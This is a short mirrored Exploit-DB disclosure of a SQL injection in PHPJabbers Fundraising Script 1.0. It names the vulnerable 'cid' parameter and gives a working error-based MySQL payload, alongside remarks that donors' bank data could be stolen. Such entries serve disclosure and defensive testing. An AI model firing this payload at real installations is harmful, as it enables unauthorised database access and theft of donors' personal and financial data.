Fundraising Script 1.0 – SQLi

• Exploit Database
• 113 阅读

• 作者： nu11secur1ty
  日期： 2024-01-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/51753/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30

  ## Title: Fundraising Script-1.0 SQLi ## Author: nu11secur1ty ## Date: 09/13/2023 ## Vendor: https://www.phpjabbers.com/ ## Software: https://www.phpjabbers.com/fundraising-script/#sectionDemo ## Reference: https://portswigger.net/web-security/sql-injection   ## Description: The <code>cid</code> parameter appears to be vulnerable to SQL injection attacks. The payload &apos; was submitted in the cid parameter, and a database error message was returned. The database is empty, but if it is not, this will be over for the money of the donors and their bank accounts! The attacker can steal all information from the database!   [+]Payload: mysql   Parameter: cid (GET) Type: error-based Title: MySQL >= 5.1 error-based - Parameter replace (UPDATEXML) Payload: controller=pjFront&action=pjActionLoadCampaign&cid=(UPDATEXML(1741,CONCAT(0x2e,0x71626b7071,(SELECT (ELT(1741=1741,1))),0x7162787171),3873))   https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Fundraising-Script-1.0   System Administrator - Infrastructure Engineer Penetration Testing Engineer nu11secur1ty <http://nu11secur1ty.com/>